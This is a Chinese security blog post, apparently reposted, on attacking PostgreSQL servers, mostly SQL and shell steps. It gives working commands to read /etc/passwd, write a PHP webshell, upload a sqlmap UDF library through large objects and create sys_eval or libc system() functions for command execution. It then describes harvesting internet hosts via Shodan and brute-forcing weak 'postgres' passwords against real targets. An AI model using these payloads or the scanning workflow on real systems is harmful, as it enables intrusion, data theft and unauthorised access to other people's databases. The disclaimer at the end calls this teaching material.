针对 PostgreSQL 数据库的攻击研究

admin 2025年1月6日11:36:58评论4 views字数 4085阅读13分37秒阅读模式

PostgreSQL 是开源的对象-关系数据库数据库管理系统,在类似 BSD 许可与 MIT 许可的 PostgreSQL 许可下发行。 

1、本地安装部署 PostgreSQL

测试服务为 centos,参考文档:https://www.postgresql.org/download/linux/redhat/,选择对应版本,安装命令(测试环境以 12 版本为例):

sudo dnf install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-9-x86_64/pgdg-redhat-repo-latest.noarch.rpmsudo dnf -qy module disable postgresqlsudo dnf install -y postgresql12-serversudo /usr/pgsql-12/bin/postgresql-12-setup initdbsudo systemctl enable postgresql-12sudo systemctl start postgresql-12

数据库安装好之后,需要修改数据库的密码才可以远程登录数据库:

service postgresql start  #启动服务su postgres         #切换到数据库用户下psql  postgres        #进入数据库alter user postgres with password 'postgres';   #修改数据库的密码为:postgres

默认情况下,是无法远程连接的,需要进行进一步的配置,修改 /var/lib/pgsql/12/data/目录下的 pg_hba.conf,添加来源 IP 的允许范围,如图:

针对 PostgreSQL 数据库的攻击研究

然后修改 postgresql.conf 的 listen_addresses 的值为 *,如图:

针对 PostgreSQL 数据库的攻击研究

然后重启服务:

systemctl restart postgresql-12

到这里就可以通过远程连接数据库,从配置上说,外网开放的数据库,因为需要配置,并非默认可以访问,所以即使存在弱口令,也不一定可以连接。

2、利用 PostgreSQL 特性读写文件

读取系统文件:

方法一 直接读取:

select pg_read_file('/etc/passwd', 0, 200);

针对 PostgreSQL 数据库的攻击研究

方法二 间接读取:

CREATE TABLE pwn(t TEXT);COPY pwn FROM '/etc/passwd';SELECT * FROM pwn;DROP table pwn;

针对 PostgreSQL 数据库的攻击研究

写文件

当我们知道 web 目录真实路径时,可以使用这个方法写 webshell。

方法一:

CREATE TABLE pwn (t TEXT);INSERT INTO pwn(t) VALUES ('<?php @system("$_GET[cmd]");?>');SELECT * FROM pwn;COPY pwn(t) TO '/tmp/cmd.php';DROP TABLE pwn;

针对 PostgreSQL 数据库的攻击研究

方法二:

COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

针对 PostgreSQL 数据库的攻击研究

3、利用 PostgreSQL 特性执行系统命令

执行系统命令需要用到udf库,下面测试一下。查询 postgresql 的数据库版本:

select version();

针对 PostgreSQL 数据库的攻击研究

第一步:根据数据库版本,获取 udf 二进制文件,在 sqlmap 的 data 目录下有对应的库文件:

针对 PostgreSQL 数据库的攻击研究

找适合目标版本的库文件,使用 sqlmap 的解码工具解码:

python extracloakcloak.py -d -i dataudfpostgresqllinux6412lib_postgresqludf_sys.so_

第二步:上传获取到的 lib_postgresqludf_sys.so 上传到服务器,将库文件转为 hex,转换小脚本如下:

#~/usr/bin/env python2.7#-*- coding: utf-8 -*-import sysif __name__=="__main__":   if len(sys.argv) != 2:       print "Usage: python " + sys.argv[0] + " inputfile"       sys.exit()   fileobj = open(sys.argv[1], 'rb')   for b in fileobj.read():       sys.stdout.write(r'{:02x}'.format(ord(b)))   fileobj.close()

将以上代码保存为 bin2hex.py,然后使用如下命令转换:

python bin2hex.py lib_postgresqludf_sys.so

上传,将上面得到的 hex 值传入下面的语句中执行:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (19074, 0, decode('7f454c4....', 'hex'));SELECT lo_export(19074, '/tmp/test.so');

直接将所有内容全部写入可能会报错,我这里没有报错,但是在导出的时候报错了,如图:

针对 PostgreSQL 数据库的攻击研究

接下来尝试另外一种,我们可以把数据分段,稍微修改一下代码,如下:

#~/usr/bin/env python2.7#-*- coding: utf-8 -*-import sysif __name__=="__main__":   if len(sys.argv) != 2:       print "Usage: python " + sys.argv[0] + " inputfile"       sys.exit()   fileobj = open(sys.argv[1], 'rb')   i = 0   num = 0   sys.stdout.write("INSERT INTO pg_largeobject VALUES (12345, 0, decode('")   for b in fileobj.read():       sys.stdout.write(r'{:02x}'.format(ord(b)))       i = i + 1       if i % 2048 == 0:           num = num + 1           sys.stdout.write(r"', 'hex'));nINSERT INTO pg_largeobject VALUES (12345, "+str(num)+", decode('")   print "', 'hex'));"   fileobj.close()

这样分成多个段进行写入,就可以成功写入,使用如下命令:

SELECT lo_create(12345);INSERT INTO pg_largeobject VALUES (12345, 0, decode('hex01', 'hex'));INSERT INTO pg_largeobject VALUES (12345, 1, decode('hex02', 'hex'));INSERT INTO pg_largeobject VALUES (12345, 2, decode('hex03', 'hex'));INSERT INTO pg_largeobject VALUES (12345, 3, decode('hex04', 'hex'));INSERT INTO pg_largeobject VALUES (12345, 4, decode('hex05', 'hex'));INSERT INTO pg_largeobject VALUES (12345, 5, decode('hex06', 'hex'));INSERT INTO pg_largeobject VALUES (12345, 6, decode('hex07', 'hex'));SELECT lo_export(12345, '/tmp/test.so');SELECT lo_unlink(12345);

针对 PostgreSQL 数据库的攻击研究

成功执行后,创建 Postgresql 功能

CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/test.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;    # 无回显CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/test.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;   # 可回显

然后执行系统命令:

select sys_eval('whoami');

针对 PostgreSQL 数据库的攻击研究

如果是低版本,也就是版本低于 8.2 以下,直接调用 lib/libc.so.6 或者是 /lib64/libc.so.6 就可以执行命令了:

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;

执行命令方式:

select system('id');

4、外网环境下收集目标并检测和利用

第一步:使用 shadon 去收集 postgresql 目标

搜索下载的命令:

shodan download --limit 1000000 postgresql.txt product:"PostgreSQL"

第二步:使用弱口令扫描器扫描

我用的还是 PortBruteWin,命令如下:

PortBruteWin.exe -f postgreip.txt -u user.txt -p pass.txt

为了提升速度和准确度,只扫描账号密码均为 postgres 的目。

第三步:针对存在弱口令的目标进行测试

使用 psql 客户端连接目标,先查询目标版本信息:

select version();

针对 PostgreSQL 数据库的攻击研究

尝试了多个目标均报错,无法执行命令,可能是因为,配置是对于来源 IP 不可信,无法进一步操作。这个数据库在内网可能成为一个不错的突破口。

信安之路文库未来一年将收录整理 vulnhub 全量靶机攻略,当前进度(283/700),扫码订阅

针对 PostgreSQL 数据库的攻击研究

原文始发于微信公众号(信安之路):针对 PostgreSQL 数据库的攻击研究

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月6日11:36:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   针对 PostgreSQL 数据库的攻击研究https://cn-sec.com/archives/3595641.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息